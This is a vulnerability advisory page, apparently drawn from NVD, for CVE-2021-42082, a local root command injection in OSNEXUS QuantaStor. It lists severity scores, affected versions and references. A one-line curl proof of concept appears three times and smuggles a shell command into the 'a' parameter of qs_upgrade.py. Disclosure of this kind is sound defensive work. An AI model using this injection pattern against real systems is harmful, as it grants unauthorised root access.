CVE-2021-42082
HIGHCVSS 7.8/10EPSS 0.18%
Last modified
CVE-2021-42082 is a high-severity vulnerability rated 7.8/10 on the CVSS scale. Local users are able to execute scripts under root privileges. POC On the local host run the following command: curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'. EPSS estimates a 0.18% chance of exploitation in the next 30 days.
Description
Local users are able to execute scripts under root privileges. POC On the local host run the following command: curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'
Metrics
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness Enumeration
Affected Software
| Vendor | Product | Versions |
|---|---|---|
| Osnexus | Quantastor | < 6.0.0.355 |
References
- https://csirt.divd.nl/CVE-2021-42082Third Party Advisory
- https://www.wbsec.nl/osnexusThird Party Advisory
- https://csirt.divd.nl/CVE-2021-42082Third Party Advisory
- https://www.wbsec.nl/osnexusThird Party Advisory
Timeline
- Published
- Last Modified
- Status
- Modified
Frequently Asked Questions
What is CVE-2021-42082?
Local users are able to execute scripts under root privileges.
POC
On the local host run the following command:
curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'
How severe is CVE-2021-42082?
CVE-2021-42082 has a CVSS score of 7.8/10 (HIGH severity). The EPSS model estimates a 0.18% probability of exploitation in the next 30 days.
How do I fix CVE-2021-42082?
Check the vendor references and advisories linked above for patched versions and mitigation guidance. You can also run a Strix scan to test if your systems are affected.
Are you affected by CVE-2021-42082?
Run a free Strix scan to check your systems for this vulnerability.
Scan your code nowSource: NVD / NIST